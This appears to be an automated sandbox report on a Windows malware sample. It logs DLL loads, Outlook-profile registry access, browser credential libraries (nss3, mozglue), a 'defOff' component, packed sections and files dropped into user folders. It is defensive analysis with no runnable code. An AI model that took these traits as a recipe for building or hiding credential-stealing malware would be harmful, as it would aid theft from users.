Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1759232 > 1048576

Source: file.exe

Static PE information: Raw size of guahhyfc is bigger than: 0x100000 < 0x193a00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2101454274.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 081eb93126.exe, 00000010.00000003.2416164428.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, 081eb93126.exe, 00000010.00000002.2549878932.0000000000F92000.00000040.00000001.01000000.00000011.sdmp, 081eb93126.exe, 00000013.00000002.2574587907.0000000000F92000.00000040.00000001.01000000.00000011.sdmp, 081eb93126.exe, 00000013.00000003.2533544080.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, 081eb93126.exe, 00000016.00000002.2822382287.0000000000F92000.00000040.00000001.01000000.00000011.sdmp, 081eb93126.exe, 00000016.00000003.2781734351.00000000051B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2101454274.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.d90000.0.unpack :EW;.rsrc :W;.idata :W; :EW;guahhyfc:EW;tjntcrwt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;guahhyfc:EW;tjntcrwt:EW;.taggant:EW;
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Unpacked PE file: 9.2.DocumentsFCFIJEBFCG.exe.cd0000.0.unpack :EW;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Unpacked PE file: 11.2.d1e0007322.exe.3f0000.0.unpack :EW;.rsrc :W;.idata :W;dobhwois:EW;fassugvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;dobhwois:EW;fassugvn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 12.2.skotes.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Unpacked PE file: 13.2.4172e6dca8.exe.f00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;guahhyfc:EW;tjntcrwt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;guahhyfc:EW;tjntcrwt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Unpacked PE file: 15.2.d1e0007322.exe.3f0000.0.unpack :EW;.rsrc :W;.idata :W;dobhwois:EW;fassugvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;dobhwois:EW;fassugvn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Unpacked PE file: 16.2.081eb93126.exe.f90000.0.unpack :EW;.rsrc:W;.idata :W;rlapexyo:EW;nlagfbmd:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Unpacked PE file: 17.2.4172e6dca8.exe.f00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;guahhyfc:EW;tjntcrwt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;guahhyfc:EW;tjntcrwt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Unpacked PE file: 19.2.081eb93126.exe.f90000.0.unpack :EW;.rsrc:W;.idata :W;rlapexyo:EW;nlagfbmd:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Unpacked PE file: 20.2.d1e0007322.exe.3f0000.0.unpack :EW;.rsrc :W;.idata :W;dobhwois:EW;fassugvn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;dobhwois:EW;fassugvn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Unpacked PE file: 21.2.4172e6dca8.exe.f00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;guahhyfc:EW;tjntcrwt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;guahhyfc:EW;tjntcrwt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Unpacked PE file: 22.2.081eb93126.exe.f90000.0.unpack :EW;.rsrc:W;.idata :W;rlapexyo:EW;nlagfbmd:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;hpnwpmll:EW;wlnxkvfe:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.10.dr	Static PE information: real checksum: 0x30b891 should be: 0x30a2ea
Source: 4172e6dca8.exe.10.dr	Static PE information: real checksum: 0x1b36e3 should be: 0x1b2d1e
Source: DocumentsFCFIJEBFCG.exe.0.dr	Static PE information: real checksum: 0x31a919 should be: 0x3146c2
Source: random[1].exe1.10.dr	Static PE information: real checksum: 0x2afa0d should be: 0x2b6da5
Source: 081eb93126.exe.10.dr	Static PE information: real checksum: 0x2afa0d should be: 0x2b6da5
Source: random[1].exe0.10.dr	Static PE information: real checksum: 0x1b36e3 should be: 0x1b2d1e
Source: d1e0007322.exe.10.dr	Static PE information: real checksum: 0x30b891 should be: 0x30a2ea
Source: file.exe	Static PE information: real checksum: 0x1b36e3 should be: 0x1b2d1e
Source: skotes.exe.9.dr	Static PE information: real checksum: 0x31a919 should be: 0x3146c2
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x31a919 should be: 0x3146c2

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: guahhyfc
Source: file.exe	Static PE information: section name: tjntcrwt
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: hpnwpmll
Source: random[1].exe.0.dr	Static PE information: section name: wlnxkvfe
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsFCFIJEBFCG.exe.0.dr	Static PE information: section name:
Source: DocumentsFCFIJEBFCG.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFCFIJEBFCG.exe.0.dr	Static PE information: section name: hpnwpmll
Source: DocumentsFCFIJEBFCG.exe.0.dr	Static PE information: section name: wlnxkvfe
Source: DocumentsFCFIJEBFCG.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name: hpnwpmll
Source: skotes.exe.9.dr	Static PE information: section name: wlnxkvfe
Source: skotes.exe.9.dr	Static PE information: section name: .taggant
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe.10.dr	Static PE information: section name: .idata
Source: random[1].exe.10.dr	Static PE information: section name: dobhwois
Source: random[1].exe.10.dr	Static PE information: section name: fassugvn
Source: random[1].exe.10.dr	Static PE information: section name: .taggant
Source: d1e0007322.exe.10.dr	Static PE information: section name:
Source: d1e0007322.exe.10.dr	Static PE information: section name: .rsrc
Source: d1e0007322.exe.10.dr	Static PE information: section name: .idata
Source: d1e0007322.exe.10.dr	Static PE information: section name: dobhwois
Source: d1e0007322.exe.10.dr	Static PE information: section name: fassugvn
Source: d1e0007322.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.10.dr	Static PE information: section name: .idata
Source: random[1].exe0.10.dr	Static PE information: section name:
Source: random[1].exe0.10.dr	Static PE information: section name: guahhyfc
Source: random[1].exe0.10.dr	Static PE information: section name: tjntcrwt
Source: random[1].exe0.10.dr	Static PE information: section name: .taggant
Source: 4172e6dca8.exe.10.dr	Static PE information: section name:
Source: 4172e6dca8.exe.10.dr	Static PE information: section name: .rsrc
Source: 4172e6dca8.exe.10.dr	Static PE information: section name: .idata
Source: 4172e6dca8.exe.10.dr	Static PE information: section name:
Source: 4172e6dca8.exe.10.dr	Static PE information: section name: guahhyfc
Source: 4172e6dca8.exe.10.dr	Static PE information: section name: tjntcrwt
Source: 4172e6dca8.exe.10.dr	Static PE information: section name: .taggant
Source: random[1].exe1.10.dr	Static PE information: section name:
Source: random[1].exe1.10.dr	Static PE information: section name: .idata
Source: random[1].exe1.10.dr	Static PE information: section name: rlapexyo
Source: random[1].exe1.10.dr	Static PE information: section name: nlagfbmd
Source: random[1].exe1.10.dr	Static PE information: section name: .taggant
Source: 081eb93126.exe.10.dr	Static PE information: section name:
Source: 081eb93126.exe.10.dr	Static PE information: section name: .idata
Source: 081eb93126.exe.10.dr	Static PE information: section name: rlapexyo
Source: 081eb93126.exe.10.dr	Static PE information: section name: nlagfbmd
Source: 081eb93126.exe.10.dr	Static PE information: section name: .taggant

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00CED91C push ecx; ret	9_2_00CED92F
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00CE1359 push es; ret	9_2_00CE135A
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F14CE push dword ptr [edx+eax-77h]; ret	11_2_003F14D3
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_0042E650 push eax; mov dword ptr [esp], F4F5F6F7h	11_2_0042E65E
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push ecx; mov dword ptr [esp], ebx	11_2_0047B6AB
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push 211268B7h; mov dword ptr [esp], edx	11_2_0047B6BE
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push 4D9A21A7h; mov dword ptr [esp], edx	11_2_0047B6F9
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push eax; mov dword ptr [esp], esi	11_2_0047B722
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push 664E6759h; mov dword ptr [esp], edx	11_2_0047B74D
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push esi; mov dword ptr [esp], edi	11_2_0047B76C
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push ecx; mov dword ptr [esp], ebx	11_2_0047B7A9
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push ebx; mov dword ptr [esp], eax	11_2_0047B821
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push 2255B3FAh; mov dword ptr [esp], esp	11_2_0047B829
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Code function: 11_2_003F3886 push edx; mov dword ptr [esp], 440F4500h	11_2_0047B858
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00DED91C push ecx; ret	12_2_00DED92F

Source: file.exe	Static PE information: section name: guahhyfc entropy: 7.953245041025281
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 6.935971016801882
Source: DocumentsFCFIJEBFCG.exe.0.dr	Static PE information: section name: entropy: 6.935971016801882
Source: skotes.exe.9.dr	Static PE information: section name: entropy: 6.935971016801882
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.052416234224916
Source: d1e0007322.exe.10.dr	Static PE information: section name: entropy: 7.052416234224916
Source: random[1].exe0.10.dr	Static PE information: section name: guahhyfc entropy: 7.953245041025281
Source: 4172e6dca8.exe.10.dr	Static PE information: section name: guahhyfc entropy: 7.953245041025281
Source: random[1].exe1.10.dr	Static PE information: section name: entropy: 7.805992907606795
Source: 081eb93126.exe.10.dr	Static PE information: section name: entropy: 7.805992907606795

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

